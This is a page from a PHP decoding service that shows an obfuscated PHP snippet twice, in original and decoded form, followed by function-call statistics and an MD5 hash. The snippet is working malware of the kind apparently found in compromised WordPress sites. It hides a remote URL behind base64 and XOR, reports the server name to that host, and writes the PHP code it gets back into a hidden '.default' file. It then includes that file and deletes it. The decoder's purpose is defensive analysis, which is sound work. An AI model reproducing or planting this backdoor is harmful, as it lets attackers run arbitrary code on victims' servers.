Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php @ini_set('display_errors','0');error_reporting(0);if(!$npDcheckClassBgp&&empty($_GET..
Decoded Output download
<?php @ini_set('display_errors','0');error_reporting(0);if(!$npDcheckClassBgp&&empty($_GET['vnrosnrosee'])){$ea='_shaesx_';$ay='get_data_ya';$ae='decode';$ea=str_replace('_sha','bas',$ea);$ao='wp_cd';$ee=$ea.$ae;$oa=str_replace('sx','64',$ee);$algo='default';$pass="Zgc5c4MXrLoubQhWt4pHLfvcM1fWdrpdmmaQFK3YsAISJBtfAF8poIJmfwK1V9AGXQpvpExW";$lgk='SER';$lkg='VER';$ll1='_';$qu13='ME';$qr46='NA';$pi4m='?d';if(ini_get('allow_url_fopen')){function get_data_ya($url){$data=file_get_contents($url);return $data;}}else{function get_data_ya($url){$ch=curl_init();curl_setopt($ch,CURLOPT_HEADER,0);curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);curl_setopt($ch,CURLOPT_URL,$url);curl_setopt($ch,CURLOPT_CONNECTTIMEOUT,8);$data=curl_exec($ch);curl_close($ch);return $data;}}function wp_cd($fd,$fa=""){$fe="wp_frmfunct";$len=strlen($fd);$ff='';$n=$len>100?8:2;while(strlen($ff)<$len){$ff.=substr(pack('H*',sha1($fa.$ff.$fe)),0,$n);}return $fd^$ff;}$dm=${$ll1.$lgk.$lkg}[$lgk.$lkg.$ll1.$qr46.$qu13];$reqw=$ay($ao($oa("$pass"),'wp_function').$pi4m.'='.$dm);preg_match('#gogo(.*)enen#is',$reqw,$mtchs);$dirs=glob("*",GLOB_ONLYDIR);foreach($dirs as $dira){if(fopen("$dira/.$algo",'w')){$ura=1;$eb="$dira/";$hdl=fopen("$dira/.$algo",'w');break;}$subdirs=glob("$dira/*",GLOB_ONLYDIR);foreach($subdirs as $subdira){if(fopen("$subdira/.$algo",'w')){$ura=1;$eb="$subdira/";$hdl=fopen("$subdira/.$algo",'w');break;}}}if(!$ura&&fopen(".$algo",'w')){$ura=1;$eb='';$hdl=fopen(".$algo",'w');}fwrite($hdl,'<?php '.$mtchs[1].' ?>');fclose($hdl);include("{$eb}.$algo");@unlink("{$eb}.$algo");$npDcheckClassBgp='aue';} ?>
Did this file decode correctly?
Original Code
<?php @ini_set('display_errors','0');error_reporting(0);if(!$npDcheckClassBgp&&empty($_GET['vnrosnrosee'])){$ea='_shaesx_';$ay='get_data_ya';$ae='decode';$ea=str_replace('_sha','bas',$ea);$ao='wp_cd';$ee=$ea.$ae;$oa=str_replace('sx','64',$ee);$algo='default';$pass="Zgc5c4MXrLoubQhWt4pHLfvcM1fWdrpdmmaQFK3YsAISJBtfAF8poIJmfwK1V9AGXQpvpExW";$lgk='SER';$lkg='VER';$ll1='_';$qu13='ME';$qr46='NA';$pi4m='?d';if(ini_get('allow_url_fopen')){function get_data_ya($url){$data=file_get_contents($url);return $data;}}else{function get_data_ya($url){$ch=curl_init();curl_setopt($ch,CURLOPT_HEADER,0);curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);curl_setopt($ch,CURLOPT_URL,$url);curl_setopt($ch,CURLOPT_CONNECTTIMEOUT,8);$data=curl_exec($ch);curl_close($ch);return $data;}}function wp_cd($fd,$fa=""){$fe="wp_frmfunct";$len=strlen($fd);$ff='';$n=$len>100?8:2;while(strlen($ff)<$len){$ff.=substr(pack('H*',sha1($fa.$ff.$fe)),0,$n);}return $fd^$ff;}$dm=${$ll1.$lgk.$lkg}[$lgk.$lkg.$ll1.$qr46.$qu13];$reqw=$ay($ao($oa("$pass"),'wp_function').$pi4m.'='.$dm);preg_match('#gogo(.*)enen#is',$reqw,$mtchs);$dirs=glob("*",GLOB_ONLYDIR);foreach($dirs as $dira){if(fopen("$dira/.$algo",'w')){$ura=1;$eb="$dira/";$hdl=fopen("$dira/.$algo",'w');break;}$subdirs=glob("$dira/*",GLOB_ONLYDIR);foreach($subdirs as $subdira){if(fopen("$subdira/.$algo",'w')){$ura=1;$eb="$subdira/";$hdl=fopen("$subdira/.$algo",'w');break;}}}if(!$ura&&fopen(".$algo",'w')){$ura=1;$eb='';$hdl=fopen(".$algo",'w');}fwrite($hdl,'<?php '.$mtchs[1].' ?>');fclose($hdl);include("{$eb}.$algo");@unlink("{$eb}.$algo");$npDcheckClassBgp='aue';} ?>
Function Calls
ini_set | 1 |
error_reporting | 1 |
Stats
MD5 | ce8e991167f5026ebf25214c7ccfe71f |
Eval Count | 0 |
Decode Time | 92 ms |